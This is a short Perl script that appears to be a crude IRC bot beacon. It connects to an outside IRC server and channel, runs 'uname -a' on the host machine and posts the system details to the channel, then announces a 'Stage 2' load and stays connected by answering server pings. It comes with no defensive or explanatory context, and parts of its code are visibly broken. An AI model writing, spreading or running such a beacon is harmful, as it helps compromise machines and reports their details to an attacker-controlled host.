#!/usr/bin/perl #variables $server = "irc.bluehell.org"; $port = '6667'; $chan = "#r00tx"; $nick = "f4ce"; $user = "bitchb0t"; #included modules use IO::Socket; #commands $uname = `uname -a`; #create socket $socket= IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$port",Proto=>"tcp") || die "Could not create socket! "; #connect print $socket "NICK $nick \r\n"; print $socket "USER $user 8 * : dnis bitch \r\n"; while ($input = <$socket>) { if (input =~ /004/) { last; } elsif ($input =~ /433/) { die "nick in use!\n"; } } print $socket "JOIN $chan\r\n"; print $socket "PRIVMSG $chan $uname\r\n;"; while ($input = <$socket>) { print $socket "PRIVMSG $chan :Stage 2 loading... [debug on]...\r\n"; #stay alive if ($input =~ /PING(.*)$/i) { print $socket "PONG $1\r\n"; } }